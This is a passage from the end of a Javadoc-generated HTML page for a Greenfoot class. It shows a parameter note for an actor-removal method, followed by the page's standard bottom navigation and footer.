class="paramLabel">Parameters:</span></dt> <dd><code>cls</code> - Class of objects to remove (passing 'null' will remove any actor).</dd> </dl> </li> </ul> </li> </ul> </section> </li> </ul> </div> </div> </main> <!-- ========= END OF CLASS DATA ========= --> <footer role="contentinfo"> <nav role="navigation"> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a id="navbar.bottom"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a id="navbar.bottom.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../deprecated-list.html">Deprecated</a></li> <li><a href="../index-all.html">Index</a></li> <li><a href="../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../allclasses.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> </div> <div> <ul class="subNavList"> <li>Summary: </li> <li>Nested | </li> <li>Field | </li> <li><a href="#constructor.summary">Constr</a> | </li> <li><a href="#method.summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail: </li> <li>Field | </li> <li><a href="#constructor.detail">Constr</a> | </li> <li><a href="#method.detail">Method</a></li> </ul> </div> <a id="skip.navbar.bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </nav> <p class="legalCopy"><small><a href=http://www.greenfoot.org/>Greenfoot homepage</a></small></p> </footer> </body> </html>
Close